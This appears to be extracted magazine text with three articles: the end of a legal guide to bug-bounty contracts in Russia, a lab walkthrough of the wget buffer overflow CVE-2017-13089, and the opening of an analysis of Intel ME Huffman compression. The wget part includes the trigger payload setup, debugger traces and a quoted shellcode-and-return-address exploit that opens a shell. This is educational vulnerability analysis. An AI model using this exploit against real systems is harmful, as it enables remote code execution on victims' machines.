одно го докумен та, под писан ного сто рона ми, а так же путем обме на пись‐ 
мами,  телег рамма ми,  телек сами,  телефак сами  и  ины ми  докумен тами,
в том чис ле элек трон ными докумен тами, переда ваемы ми по каналам свя‐ 
зи,  поз воля ющи ми  дос товер но  уста новить,  что  документ  исхо дит  от  сто‐ 
роны по догово ру.

Элек трон ным  докумен том,  переда ваемым  по  каналам  свя зи,  приз нает ся
информа ция,  под готов ленная,  отправ ленная,  получен ная  или  хра нимая
с  помощью  элек трон ных,  маг нитных,  опти чес ких  либо  ана логич ных  средств,
вклю чая обмен информа цией в элек трон ной фор ме и элек трон ную поч ту.

 Нап‐ 
ример,  если  сто роны  догово рились,  что  договор  всту пает  в  силу  пос ле
того, как одна сто рона отпра вит дру гой по элек трон ной поч те PDF‐вер сию
финаль ной редак ции догово ра, а дру гая сто рона под твер дит, что сог ласна
с этой вер сией, то в тек сте сог лашения дол жно быть явным обра зом про‐ 
писа но такое усло вие, с ука зани ем адре сов элек трон ной поч ты обе их сто‐ 
рон.

• В догово ре дол жен быть опи сан порядок его зак лючения.

Еще момент: при зак лючении догово ра  (хоть в бумаж ном виде,  хоть в элек‐ 
трон ном),  если  одна  из  сто рон  —  юри дичес кое  лицо,  сле дует  поп росить
такую  сто рону  пре дос тавить  докумен ты,  под твержда ющие  пра вомо чия  ее
пред ста вите ля под писывать договор (нап ример, доверен ность).

ДОЛЖНЫ ЛИ УСЛОВИЯ ДОГОВОРА БЫТЬ
КОНФИДЕНЦИАЛЬНЫМИ?
От вет на этот воп рос оста ется за обе ими сто рона ми. Если они не пожела ют
приз навать  содер жание  сво его  догово ра  кон фиден циаль ной  информа цией,
то они не обя заны это делать. Но, как пра вило, содер жание догово ров такого
рода  носит  кон фиден циаль ный  харак тер,  осо бен но  ког да  речь  идет  о  тес‐ 
тирова нии  на  уяз вимос ти  про дук та,  еще  не  обна родо ван ного,  либо  о  тес‐ 
тирова нии прог раммы, которая сос тавля ет ком мерчес кую тай ну.

Обыч но  сто роны  под робно  опи сыва ют  (в  тех ничес ких  задани ях  и  спе‐ 
цифи каци ях)  те  сер висы,  плат формы  и ПО,  которые  дол жны  быть  объ ектом
иссле дова ния,  ука зыва ют  допус тимые  методы  поис ка,  сбо ра  и  обра бот ки
информа ции  и  опре деля ют  типы  оши бок  и  уяз вимос тей,  которые  сле дует
выяв лять.

То есть в догово ре может содер жать ся опи сание инфраструк туры, устрой‐ 
ства кор поратив ных сетей и про дук тов заказ чика, и тог да дос туп треть их лиц
к  этой  информа ции  при ходит ся  огра ничи вать.  Один  из  методов  сде лать
это — опре делить ее как кон фиден циаль ную и наложить на исполни теля обя‐ 
затель ства не рас простра нять ее без пись мен ного сог ласия заказ чика.

МОЖЕТ ЛИ БАГХАНТЕР ПУБЛИЧНО РАСКРЫТЬ ОБНАРУЖЕННУЮ
ИНФОРМАЦИЮ?
Это  зависит  от  усло вий  догово ра.  Порой  в  нем  пря мо  пре дус мотре но,  что
обна ружен ная  информа ция  либо  не  пуб лику ется  в  общий  дос туп  сов сем,
либо может быть опуб ликова на толь ко с пред варитель ного пись мен ного сог‐ 
ласия заказ чика (то есть никог да, если заказ чик того не пожела ет сам).

Ес ли баг ханте ру важ но, что бы резуль таты его тру да были пре даны огласке,
то в  тек сте догово ра ему сле дует отра зить  такое пра во: нап ример, добавив
фор мулиров ку  о  том,  что  исполни тель  впра ве  опуб ликовать  обна ружен ную
информа цию  в  общий  дос туп  по  исте чении  шес ти  месяцев  с  момен та  ее
обна руже ния и переда чи заказ чику.

Ес ли же добавить в текст догово ра фор мулиров ку о том, что исполни тель
впра ве опуб ликовать информа цию толь ко пос ле устра нения выяв ленной уяз‐ 
вимос ти,  то  это  может  сыг рать  про тив  баг ханте ра:  не факт,  что  уяз вимость
вооб ще  будет  устра нена.  Нап ример,  заказ чик  пос чита ет  ее  малоз начимой,
поэто му опла тит исполни телю ее обна руже ние, но не ста нет поручать сво им
спе циалис там  ее  устра нять.  Тог да  получит ся,  что  момент,  дающий  пра во
на опуб ликова ние информа ции, не нас тупил, и все рав но при дет ся обра щать‐ 
ся за сог ласи ем к заказ чику.

ЧТО НАДО ЗНАТЬ ПРО ВЫПЛАТУ ВОЗНАГРАЖДЕНИЯ ПО
ДОГОВОРУ?
Сто имость  услуг  по  догово ру  будет  объ ектом  налого обло жения.  Так,  если
заказ чик — юри дичес кое лицо, а исполни тель — физичес кое, то по рос сий‐ 
ско му  законо датель ству  заказ чик  в  качес тве  налого вого  аген та  обя зует ся
удер жать  налого вую  часть.  Раз мер  налога  сос тавля ет  13%  для  физичес ких
лиц —  налого вых  резиден тов  РФ  и  30%  для  физичес ких  лиц —  налого вых
нерези ден тов РФ. Под робно про нерези ден тов я писал в 

.  Если  исполни тель — ИП  или  ком пания,  с  нее  может  и  не
удер живать ся никакой налог  (нап ример,  ког да  такой исполни тель находит ся
на упро щен ной сис теме налого обло жения).

од ном из пре дыду‐ 
щих  матери алов

В общем, рекомен дую заранее деталь но обго ворить этот воп рос с заказ‐ 
чиком, что бы чет ко знать, какая сум ма пос ле налого вых перечис лений будет
фак тичес ки вып лачена по догово ру и будет ли заказ чик делать все перечис‐ 
ления, или же при дет ся занимать ся этим самому. Резуль тат догово рен ности
сле дует отра зить в тек сте докумен та.

И еще один момент. Если воз награж дение опре деля ется в одной валюте,
а под лежит вып лате в дру гой, в сог лашении сто рон сле дует чет ко про писать,
по какому кур су и за какую дату пла тящей сто роне сле дует уста нав ливать раз‐ 
мер воз награж дения.

КАК ОПРЕДЕЛЯТЬ ПОРЯДОК ПЕРЕДАЧИ НАЙДЕННОЙ
ИНФОРМАЦИИ?
Ров но  в  том  виде,  о  котором  догово рят ся  обе  сто роны,  и  это  дол жно  быть
отра жено в догово ре. Для исполни теля будет нелиш ним фик сировать экс плу‐ 
ата цию  на  видео.  Это  нуж но  на  слу чай,  если  недоб росовес тный  заказ чик
получит от исполни теля все необ ходимое, устра нит выяв ленную уяз вимость,
а  потом  ска жет,  что  такой  уяз вимос ти  вов се  не  было.  Тог да  запись  может
пос лужить хорошим аргу мен том в сос таве доказа тель ной базы.

КАКИЕ В ИТОГЕ ДОКУМЕНТЫ БУДУТ У СТОРОН ДОГОВОРА?
Ес ли  заказ  на  поиск  уяз вимос тей  офор мля ется  в  виде  догово ра,  а  хотя  бы
одной из сто рон догово ра выс тупа ет юри дичес кое лицо, зарегис три рован ное
на  тер ритории РФ, или инди виду аль ный пред при нима тель,  то в ито ге  у сто‐ 
рон будет сле дующий ком плект докумен тов:
• сам договор (сог лашение), в котором отра жают ся все сущес твен ные усло‐ 
вия  и  вся  иная  необ ходимая  информа ция  по  ока занию  услуг.  Такая
информа ция  может  быть  вынесе на  и  в  при ложе ния  или  допол нитель ные
сог лашения к догово ру;

• от чет исполни теля, в котором отра жает ся вся информа ция о его деятель‐ 
нос ти,  нап равлен ной  на  ока зание  услуг,  а  так же  информа ция  об  обна‐ 
ружен ных резуль татах;

• акт  об  ока зан ных  услу гах  —  пер вичный  документ  бух галтер ско го  уче та,
который  будет  необ ходим  бух галте рии  в  качес тве  под твержде ния,  что
услу ги были ока заны.

КАКАЯ У СТОРОН МОЖЕТ БЫТЬ ОТВЕТСТВЕННОСТЬ ПО
ДОГОВОРУ?
У баг ханте ра может быть ответс твен ность, пре дус мотрен ная как законом, так
и  догово ром. Об  ответс твен ности  рекомен дую  про читать 

,  там  раз бира ется  этот  воп рос.  Что бы  баг хантер
не  понес  ответс твен ность  за  слу чай ное  нанесе ние  ущер ба  инфраструк туре
или прог рам мным про дук там заказ чика, в догово ре сле дует чет ко про писать,
какие дей ствия он впра ве совер шать, а  какие нет,  какие объ екты он впра ве
иссле довать, а какие нет, име ет ли он пра во самос тоятель но устра нять выяв‐ 
ленные  уяз вимос ти  или  нет,  име ет  ли  он  пра во  хра нить  у  себя  выяв ленную
информа цию, и если да, то какую, каким обра зом и в течение какого вре мени.

один  из  пре дыду‐ 
щих  моих  матери алов

Для заказ чика может иметь зна чение качес тво ока зыва емых услуг. Поэто‐ 
му  в  догово ре  могут  быть  пре дус мотре ны  кри терии  качес тва  и  опре деле на
ответс твен ность  за  ока зание  услуг  ненад лежаще го  качес тва  —  нап ример,
умень шение воз награж дения либо отказ в его вып лате, дос рочное односто‐ 
рон нее прек ращение догово ра.

Так же  для  заказ чика  край не  важен  порядок  рас кры тия  обна ружен ной
информа ции  либо  то,  что  она  не  будет  рас кры вать ся  без  сог ласия  самого
заказ чика.  Все  это  обыч но  опи сыва ется  в  догово ре.  Как  пра вило,  это  соп‐ 
ровож дает ся опи сани ем штраф ной неус той ки с сущес твен ным для исполни‐ 
теля раз мером. Это луч ше, чем тре бовать воз мещения всех убыт ков (хотя их
мож но  тре бовать  и  наряду  с  неус той кой,  если  про писать  обе меры  ответс‐ 
твен ности в догово ре), и про ще доказы вать в суде для взыс кания.

В  слу чае  с  неус той кой  дос таточ но  будет  доказать  факт  зак лючения
догово ра с таким положе нием и факт наруше ния исполни телем сво его обя‐ 
затель ства. Если же в догово ре про писа но воз мещение убыт ков, то пот ребу‐ 
ется  под тверждать  их  раз мер,  ука зан ный  в  иске.  Сде лать  это  на  прак тике
для такого рода отно шений может быть слож но.

Что бы заказ чик вов ремя вып лачивал воз награж дение, в догово ре нелиш‐ 
ним будет  пре дус мотреть  его  ответс твен ность  на  слу чай  невып латы  в  срок.
Рас простра нен ная мера — это опять же вып лата неус той ки, раз мер которой
дол жен  быть  зафик сирован  в  догово ре.  Как  вари ант,  сто роны  могут  зак‐ 
репить в догово ре пра во баг ханте ра на пуб личное рас кры тие обна ружен ной
информа ции  в  слу чае  невып латы  положен ного  ему  воз награж дения  в  срок.
Но на прак тике это встре чает ся реже — обыч но заказ чики не идут на  такое
усло вие и охот нее сог лаша ются на неус той ку.

ПОДВОДЯ ИТОГИ
Для луч шего зак репле ния пов торим вкрат це все ска зан ное.
1. До говор  как  фор мат  офор мле ния  догово рен ностей  меж ду  сто рона ми
хорошо под ходит, ког да заказ чику необ ходимо прив лечь кон крет ное лицо
(или  ком панию),  обла дающее  дос таточ ной  ква лифи каци ей,  к  поис ку
и обна руже нию прог рам мных оши бок и уяз вимос тей.

2. Обе  сто роны  догово ра  впра ве  вно сить  пред ложения,  пред лагать  изме‐ 
нения  пер воначаль ной  редак ции  догово ра  и  отста ивать  свои  позиции
отно ситель но финаль ной вер сии его содер жания.

3. В  догово ре  дол жны  быть  опре деле ны  все  сущес твен ные  усло вия,  что бы
избе жать рис ка, что договор приз нают незак лючен ным.

4. Раз  отно шения  сто рон будут  пря мо  касать ся  воп росов  информа цион ной
безопас ности, в догово ре дол жны быть под робно опре деле ны все слу чаи
ответс твен ности  каж дой из  сто рон,  а  так же порядок  воз можно го раз гла‐ 
шения информа ции об обна ружен ных ошиб ках или уяз вимос тях (кем, ког‐ 
да, с какой сте пенью детали зации).

И чем точ нее содер жание догово ра будет отра жать дей стви тель ные догово‐ 
рен ности  обе их  сто рон,  а  так же  соот ветс тво вать  их  фак тичес кому  вза имо‐ 
дей ствию  меж ду  собой,  тем  будет  луч ше.  Детали  в  догово рах  такого  рода
лиш ними не быва ют, поэто му им однознач но сто ит уде лить вни мание.
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ВЗЛОМ

Прак тичес ки в каж дом дис три бути ве Linux есть такая полез‐ 
ная  ути лита,  как  wget.  С  ее  помощью  лег ко  и  удоб но  ска‐ 
чивать  боль шие  фай лы.  Она  же  встре чает ся  и  на  веб‐сер‐ 
верах, где любая уяз вимость может обер нуть ся пре неп рият‐ 
ными  пос ледс тви ями  для  вла дель ца.  Мы  раз берем,
как работа ет баг wget, свя зан ный с перепол нени ем буфера.
Его экс плу ата ция может при вес ти к выпол нению про изволь‐ 
ных команд на целевой сис теме.

INFO

Уяз вимос ти  прис воен  номер  ,
она  при сутс тву ет  во  всех  вер сиях  wget  вплоть
до 1.19.1.

CVE‐2017‐13089

СТЕНД
Спер ва  готовим  пло щад ку  для  будущих  экспе римен тов.  Тут  нам  на  помощь
приш ла  работа  Робер та  Джен сена  (Robert  Jensen),  который  соб рал
докер‐кон тей нер для тес тирова ния уяз вимос ти. Ска чать докер‐файл, экс пло‐ 
ит и про чее ты можешь в его  . Затем оста нет ся толь ко выпол нитьре пози тории

docker build ‐t cve201713089 .

Ес ли ничего качать не хочет ся, то дос таточ но коман ды

docker pull robertcolejensen/cve201713089

За тем запус каем кон тей нер.

docker run  ‐‐rm ‐‐cap‐add=SYS_PTRACE ‐‐security‐opt seccomp=unconf
ined ‐ti ‐‐name=wget ‐‐hostname=wget robertcolejensen/cve201713089 /
bin/bash

Под клю чив шись  к  кон тей неру,  ком пилиру ем  исходни ки  wget  с  фла гом 
для более удоб ной отладки.

‐g

$ wget ftp://ftp.gnu.org/gnu/wget/wget‐1.19.1.tar.gz
$ tar xvzf wget‐1.19.1.tar.gz
$ cd wget‐1.19.1 && CFLAGS="‐g" ./configure && make && make install &
& cd ‐

Про верим,  успешно  ли  ском пилились  исходни ки  с  под дер жкой  отла доч ных
сим волов.

$ gdb wget

gdb под гру зил отла доч ные сим волы

Те перь с этим мож но работать. Перехо дим к сле дующе му эта пу.

АНАЛИЗИРУЕМ УЯЗВИМОСТЬ
Да вай  сра зу  пос мотрим,  как  мож но  триг гернуть  уяз вимость.  Для  это го
в репози тории есть пей лоад, который мож но ска чать тем же wget. :)

$ wget https://raw.githubusercontent.com/r1b/CVE‐2017‐13089/master/
src/exploit/payload

Пе ренап равим  вывод  из  фай ла  в  порт  при  помощи  netcat  и  поп робу ем
получить содер жимое через wget.

$ nc ‐lp 1337 < payload &
$ wget ‐‐debug localhost:1337

Пос ле кон некта и получе ния отве та ути лита кра шит ся.

Wget кра шит ся при обра бот ке спе циаль но сфор мирован ного пакета

Те перь про дела ем то же самое, но уже через отладчик.

$ gdb ‐‐args wget 127.0.0.1:1337
$ r
$ bt full

Ес ли ты еще не заг лянул в файл payload, то самое вре мя это сде лать. В нем
ты  можешь  обна ружить  верени цу  сим волов  ,  которые  и  переза писа ли
содер жимое сте ка. Резуль тат можешь наб людать на скрин шоте.

А

Со дер жимое сте ка в момент кра ша wget

Да вай  поб лиже  рас смот рим  пос леднюю  фун кцию,  которая  выпол нялась
перед кра шем. Это   из фай ла  .skip_short_body http.c

/wget-1.19.1/src/http.c
946: skip_short_body (int fd, wgint contlen, bool chunked)

Кто же ее вызыва ет? Обра ти вни мание на пей лоад, в качес тве отве та он воз‐ 
вра щает  код  401.  При  пар синге  отве та  wget  записы вает  его  в  перемен ную

, которая явля ется частью струк туры  .statcode http_stat

/wget-1.19.1/src/http.c
1542: struct http_stat
1543: {
...
1552:   int statcode;                 /* status code */

За тем  в  зависи мос ти  от  это го  ста туса  выпол няют ся  раз ные  кус ки  кода.
За 401 отве чает сле дующий:

/wget-1.19.1/src/http.c
127: #define HTTP_STATUS_UNAUTHORIZED          401
...
3493:   if (statcode == HTTP_STATUS_UNAUTHORIZED)
3494:     {
3495:       /* Authorization is required.  */
...
3523:           if (keep_alive && !head_only
3524:               && skip_short_body (sock, contlen, chunke
d_transfer_encoding))
3525:             CLOSE_FINISH (sock);

Об рати  вни мание  на  стро ку  3524.  В  этом  усло вии  и  про исхо дит  вызов  уяз‐ 
вимой  фун кции  .  Но  для  это го  необ ходимо,  что бы  две
перемен ные  (   и  )  при няли  нуж ные  зна чения  (стро‐ 
ка  3523),  потому  что  в  C/С++,  как  и  во  мно гих  дру гих  язы ках,  обра бот ка
логичес ких  опе раций  выпол няет ся  по  прин ципу  .  Ты,
навер ное, уже догадал ся, что озна чают сами перемен ные:    при‐ 
нима ет  зна чение  ,  если  в  отве те  от  сер вера  хидер    равен

, а   — это прос то флаг наличия толь ко хидера в отве те.

skip_short_body
keep_alive head_only

short‐circuit  evaluation
keep_alive

true Connection
keep‐alive head_only

Пе ремен ные из усло вия, в котором выпол няет ся skip_short_body

Итак,  перемен ные  име ют  нуж ные  зна чения,  а  зна чит, 
выпол няет ся. Пос мотрим на парамет ры, которые в нее переда ются.

skip_short_body

В  пер вую  оче редь  нас  инте ресу ет  параметр
. Он зависит от заголов ка  ,

который воз вра щает сер вер. Этот заголо вок пар сится, и если он уста нов лен
в  , то перемен ная ста новит ся  .

chunked_transfer_encoding Transfer‐Encoding

chunked true

/wget-1.19.1/src/http.c
3449:   chunked_transfer_encoding = false;
3450:   if (resp_header_copy (resp, "Transfer‐Encoding", hdrval, 
sizeof (hdrval))
3451:       && 0 == c_strcasecmp (hdrval, "chunked"))
3452:     chunked_transfer_encoding = true;

При  получе нии  пакета  с  таким  заголов ком  от  сер вера  кли ент  исполь зует
механизм chunked transfer encoding при обра бот ке зап роса. Он полезен в тех
слу чаях,  ког да,  нап ример,  нуж но  передать  динами чес ки  сфор мирован ные
дан ные, для которых нель зя заранее опре делить раз мер. Дан ные переда ются
неболь шими  час тями  (они  же  бло ки  или  чан ки  —  называй  как  хочешь),
которые име ют сле дующий фор мат:

<размер блока (в HEX)><CRLF>
<данные блока><CRLF>

Для  отде ления  записи  дли ны  чан ка  от  его  содер жания  исполь зует ся  раз‐ 
делитель  CRLF  (в  виде  стро ки    или  как  бай ты  в  фор мате  HEX:  0x0D,
0x0A). Раз мер чан ка — это дли на переда ваемых в нем дан ных в бай тах,  где
раз делите ли CRLF не учи тыва ются. Окон чани ем переда ваемых дан ных явля‐ 
ется чанк, дли на которо го 0 байт.

\r\n

Сле дующий параметр, который нас инте ресу ет, —  . Эта перемен‐ 
ная  отве чает  за  раз мер  дан ных  в  теле  отве та  и  изна чаль но  пар сится
из  хидера  .  Мы  его  не  переда ем,  так  как  исполь зуем
механизм переда чи дан ных час тями, поэто му   так и оста ется рав ной
‐1, как и была ини циали зиро вана.

contlen

Content‐Length
contlen

/wget-1.19.1/src/http.c
3318:   contlen = ‐1;
...
3414:   if (!opt.ignore_length
3415:       && resp_header_copy (resp, "Content‐Length", hdrval, 
sizeof (hdrval)))

Зна чение перемен ной contlen

Са мое вре мя про бежать ся по телу фун кции  , что бы понять
логику выпол няемо го  кода. Сна чала она про веря ет, не пре выша ет ли дли на
отве та ( ) 4096 байт. Если да, то соеди нение прос то зак рыва ется.

skip_short_body

contlen

/wget-1.19.1/src/http.c
948:   enum {
...
950:     SKIP_THRESHOLD = 4096        /* the largest size we read */
951:   };
...
958:   if (contlen > SKIP_THRESHOLD)
959:     return false;

За тем начина ется цикл чте ния дан ных из передан ного пакета.

/wget-1.19.1/src/http.c
961:   while (contlen > 0 || chunked)

Пе ремен ная   у нас, конеч но, мень ше нуля, а вот   уста нов лено
в  , поэто му начина ется чте ние дан ных. Сна чала wget опре деля ет раз мер
дан ных пер вого чан ка. Для это го фун кция   кон верти рует стро ковое
пред став ление  чис ла,  которое  хра нит ся  в  стро ке  ,  в  длин ное  целое
и воз вра щает резуль тат.

contlen chunked
true

strtol()
line

/wget-1.19.1/src/http.c
973: remaining_chunk_size = strtol (line, &endl, 16);

Раз мер пер вого чан ка в экс пло ите уста нов лен в  .‐0xFFFFFD00

Wget в про цес се чте ния раз мера пер вого чан ка из пей лоада

По это му перемен ная   при мет зна чение ‐4294966528.remaining_chunk_size

(gdb) p remaining_chunk_size
$7 = ‐4294966528

Эта  перемен ная  отве чает  за  раз мер  оставших ся  неп рочитан ных  дан ных
из  текуще го  бло ка.  Теперь  вычис ляет ся  перемен ная  .  Для  это го
исполь зует ся фун кция  . Она воз вра щает наимень шее из двух передан ных
чисел.

contlen
MIN

/wget-1.19.1/src/http.c
949: SKIP_SIZE = 512, /* size of the download buffer */
...
984:    contlen = MIN (remaining_chunk_size, SKIP_SIZE);

Ес тес твен но,  наше  получен ное  зна чение    гораз до
мень ше  , так что   теперь рав на ‐4294966528.

remaining_chunk_size
SKIP_SIZE contlen

Вы чис ление нового зна чения contlen при обра бот ке бло ка дан ных

Те перь нас тало вре мя чте ния дан ных из пакета и записи их в память. Для это‐ 
го  в фун кцию    переда ется  ука затель  на  текущий  пакет,  перемен ная
для записи дан ных и их раз мер.

fd_read

/wget-1.19.1/src/http.c
989: ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), ‐1);

/wget-1.19.1/src/connect.c
928: int
929: fd_read (int fd, char *buf, int bufsize, double timeout)
930: {

Так как   в качес тве раз мера буфера ( ) при нима ет толь ко тип
int,  вер хние 32 бита дли ны отбра сыва ются,  ког да мы переда ем отри цатель‐ 
ные зна чения в качес тве раз мера чан ка.

fd_read bufsize

Фун кция fd_read исполь зует тип int в качес тве раз мера дан ных для чте ния

За тем все парамет ры ухо дят в фун кцию  .read

/wget-1.19.1/src/connect.c
938: return sock_read (fd, buf, bufsize);

/wget-1.19.1/src/connect.c
778: static int
779: sock_read (int fd, char *buf, int bufsize)
780: {
781:   int res;
782:   do
783:     res = read (fd, buf, bufsize);
784:   while (res == ‐1 && errno == EINTR);
785:   return res;
786: }

Об рати  вни мание  на  адрес  буфера,  в  который  будут  записы вать ся  дан ные,
и на рас положе ние сте ка.

Ад рес сте ка и адрес буфера для записи дан ных из пей лоада

При  соз дании  буфера  под  него  выделя ется  все го  512  байт,  а  читать
и  записы вать  мы  будем  768,  вот  тут  и  воз ника ет  перепол нение.  Выходим
за гра ницу выделен ной нам памяти.

/wget-1.19.1/src/connect.c
949: SKIP_SIZE = 512,                /* size of the download buffer 
*/
...
953: char dlbuf[SKIP_SIZE + 1];
954: dlbuf[SKIP_SIZE] = '\0';        /* so DEBUGP can safely print 
it */

Пос ле того как отра бота ет  , дан ные в раз мере 768 байт будут про чита ны
и записа ны по адре су  . Теперь стек переза писан верени цей из сим волов
,  которые были в пей лоаде. Таким обра зом, мы можем управлять адре сом
воз вра та из фун кции  .

read
buf

А
skip_short_body

Сос тояние сте ка пос ле перепол нения буфера

Даль ше все прос то — вычис ляет ся раз мер оставших ся дан ных из чан ка.

/wget-1.19.1/src/http.c
998: contlen ‐= ret;

Цикл  ухо дит  на  вто рой  круг  для  чте ния  сле дующей  пор ции  дан ных.  Толь ко
теперь   у нас равен ‐4294967296 (‐4294966528 ‐ 768), что в int‐пред‐ 
став лении рав но 0. Так как буфер пуст и читать боль ше нечего, выпол няет ся
усло вие:

contlen

/wget-1.19.1/src/http.c
989: ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), ‐1);
990: if (ret <= 0)
991:   {
992:     /* Don’t normally report the error since this is an
993:        optimization that should be invisible to the user.  */
994:     DEBUGP (("] aborting (%s).\n",
995:              ret < 0 ? fd_errstr (fd) : "EOF received"));
996:     return false;
997:   }

Прог рамма выходит из фун кции   в никуда, а все бла года ря
переза писан ному сте ку.

skip_short_body

Стек переза писан. Wget в отключ ке

Вот так отра баты вает PoC. Если хочешь поэк спе римен тировать с RCE, то заг‐ 
ляни к нашему китай ско му товари щу под ником mzeyong в  . Там
ты най дешь экс пло ит, резуль татом работы которо го будет запущен ный 

.

ре пози торий
/bin/

dash
Сам  спло ит  сос тоит  из  двух  час тей,  пер вая  —  это  собс твен но  сам

шелл‐код.

shellcode.py
14: buf += "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
15: buf += "\xef\xff\xff\xff\x48\xbb\xc5\xb5\xcb\x60\x1e\xba\xb2"
16: buf += "\x1b\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
17: buf += "\xaf\x8e\x93\xf9\x56\x01\x9d\x79\xac\xdb\xe4\x13\x76"
18: buf += "\xba\xe1\x53\x4c\x52\xa3\x4d\x7d\xba\xb2\x53\x4c\x53"
19: buf += "\x99\x88\x16\xba\xb2\x1b\xea\xd7\xa2\x0e\x31\xc9\xda"
20: buf += "\x1b\x93\xe2\x83\xe9\xf8\xb5\xb7\x1b"

Вто рая часть — адрес, где этот самый шелл‐код будет рас полагать ся. На тво‐ 
ей машине он может быть дру гим.

shellcode.py
22: Payload += buf+(568‐len(buf))*"A"
23: Payload += "\xd0\xd9\xff\xff\xff\x7f\x00\x00"

Об рати  вни мание,  что  адрес  записы вает ся  со  сме щени ем  в  568  байт.
Это необ ходимо, что бы он ока зал ся на вер хушке сте ка, пос ле того как буфер
будет перепол нен.

Пос ле запус ка мож но наб людать сле дующую кар тину.

Экс пло ит для wget успешно отра ботал

Вот так лег ко и неп ринуж денно экс пло ит отра баты вает в теп личных усло виях.
Что бы  прев ратить  его  в  боевой  спло ит  для  реаль ных  машин,  при дет ся
попотеть, но это уже выходит за рам ки нашей статьи.

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ЗАКЛЮЧЕНИЕ
Ес ли тебя инте ресу ет фикс бага, то  . Раз работ чики добави ли про вер ку
на отри цатель ные зна чения перемен ной  .

вот он
remaining_chunk_size

/wget-1.19.2/src/http.c
976: if (remaining_chunk_size < 0)
977:     return false;

Ка залось бы, этот баг впол не мож но было обна ружить авто мати кой заранее,
но и в наше вре мя такие вещи еще, похоже, встре чают ся.
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ВЗЛОМ

,  мно гие  модули  Intel  ME  11.x
хра нят ся  во  Flash‐памяти  в  упа кован ном
виде,  и  для  сжа тия при меня ются два алго‐ 
рит ма  —  LZMA  и  .
Для  LZMА  сущес тву ет 

,  которую  мож но  исполь зовать
для  рас паков ки,  но  для  Huffman  все  слож‐ 
нее.  Рас паков щик  Huffman  Encoding  в  ME
реали зован  на  аппа рат ном  уров не,  и  пос‐ 
тро ение  экви вален тно го  прог рам мно го
кода  пред став ляет  собой  слож ную  и  нес‐ 
тандар тную задачу.

Как  извес тно

Huffman  Encoding
пуб личная  реали‐ 

зация

ПРЕДЫДУЩИЕ ВЕРСИИ ME
Оз накомив шись  с  исходны ми  тек ста ми,  явля ющи мися  частью  про екта 

, лег ко уви деть, что для пре дыду щих вер сий ME сущес тву ет два набора
таб лиц Хаф фма на и в каж дом из наборов при сутс тву ет две таб лицы. Наличие
двух таб лиц (по одной для кода и для дан ных) обус ловле но, веро ятно, тем, что
ста тис тичес кие свой ства кода и дан ных силь но отли чают ся.

un‐
huffme

Так же при меча тель ны сле дующие свой ства:
Для  раз ных  наборов  таб лиц  диапа зоны  длин  кодовых  слов  раз лича ются
(7–19 и 7–15 бит вклю читель но).

•

Каж дая  кодовая  пос ледова тель ность  кодиру ет  целое  количес тво  бай тов
(от 1 до 15 вклю читель но).

•

В  обо их  наборах  исполь зует ся    (это  поз воля ет
быс тро опре делять дли ну оче ред ного кодово го сло ва при рас паков ке).

• Canonical  Huffman Coding

В  пре делах  одно го  набора  дли ны  закоди рован ных  зна чений  для  любого
кодово го сло ва сов пада ют во всех таб лицах (Code и Data).

•

ПОСТАНОВКА ЗАДАЧИ
Мож но  пред положить,  что  в  таб лицах  Хаф фма на  для ME 11.x  три  пос ледних
свой ства так же соб люда ются. Тог да для пол ного вос ста нов ления таб лиц тре‐ 
бует ся най ти сле дующее:

ди апа зон длин кодовых слов;•
гра ницы зна чений кодовых слов, име ющих оди нако вую дли ну (Shape);•
дли ны закоди рован ных пос ледова тель нос тей для каж дого кодово го сло ва;•
за коди рован ные зна чения для каж дого кодово го сло ва в обе их таб лицах.•

РАЗБИЕНИЕ СЖАТЫХ ДАННЫХ НА ОТДЕЛЬНЫЕ СТРАНИЦЫ
Для получе ния информа ции об отдель ных модулях мож но исполь зовать име‐ 
ющиеся  .зна ния о внут ренних струк турах про шив ки

Ра зоб рав  Lookup  Table,  часть  Code  Partition  Directory,  лег ко  опре делить,
для  каких модулей при меня ется  кодиро вание Хаф фма на,  где начина ются их
упа кован ные дан ные и какой раз мер модуль будет иметь пос ле рас паков ки.

Раз мер сжа тых и рас пакован ных дан ных и SHA‐256 от рас пакован ных дан‐ 
ных  нес ложно  най ти,  разоб рав  Module  Attributes  Extension  для  кон крет ного
модуля.

Бег лый ана лиз нес коль ких про шивок для ME 11.x поз воля ет заметить, что
раз мер  дан ных  пос ле  рас паков ки  Хаф фма ном  всег да  кра тен  раз меру  стра‐ 
ницы  (4096  ==  0x1000  байт).  В  начале  упа кован ных  дан ных  рас полага ется
мас сив  четырех бай товых  целочис ленных  зна чений.  Количес тво  эле мен тов
мас сива соот ветс тву ет количес тву стра ниц в рас пакован ных дан ных.

Нап ример,  для  модуля  раз мером  81920  ==  0x14000  байт  мас сив  будет
занимать 80 == 0x50 байт и сос тоять из 20 == 0x14 эле мен тов.

В двух стар ших битах каж дого из Little‐Endian‐зна чений хра нит ся номер таб‐ 
лицы (0b01 для кода и 0b11 для дан ных). В оставших ся 30 битах хра нит ся сме‐ 
щение начала сжа той стра ницы отно ситель но кон ца мас сива сме щений. При‐ 
веден ный выше фраг мент опи сыва ет 20 стра ниц:

При меча тель но,  что  сме щения  упа кован ных  дан ных  для  каж дой  стра ницы
отсорти рова ны  по  воз раста нию,  а  раз мер  упа кован ных  дан ных  для  каж дой
стра ницы в явном виде ниг де не фигури рует. В при веден ном выше при мере
упа кован ные  дан ные  для  каж дой  кон крет ной  стра ницы  начина ются  на  гра‐ 
нице,  крат ной  64  =  0x40  бай там,  а  неис поль зуемые  области  запол нены
нулями. Но по дру гим модулям мож но уста новить, что вырав нивание не обя‐ 
затель но. Это натал кива ет на мысль, что рас паков щик оста нав лива ется, ког‐ 
да объ ем дан ных рас пакован ной стра ницы дос тига ет 4096 байт.

Так как мы зна ем общий раз мер упа кован ного модуля (из Module Attributes
Extension), мы можем раз делить упа кован ные дан ные на стра ницы и работать
с каж дой отдель но. Начало упа кован ной стра ницы опре деля ется из мас сива
сме щений, а раз мер — сме щени ем начала сле дующей стра ницы или общим
раз мером  модуля.  При  этом  пос ле  упа кован ных  дан ных  может  идти  про‐ 
изволь ное  количес тво  нез начащих  бит  (эти  биты  могут  иметь  любые  зна‐ 
чения, но на прак тике они обыч но нулевые).

На скрин шоте вид но, что пос ледняя сжа тая стра ница (начина ющаяся по сме‐ 
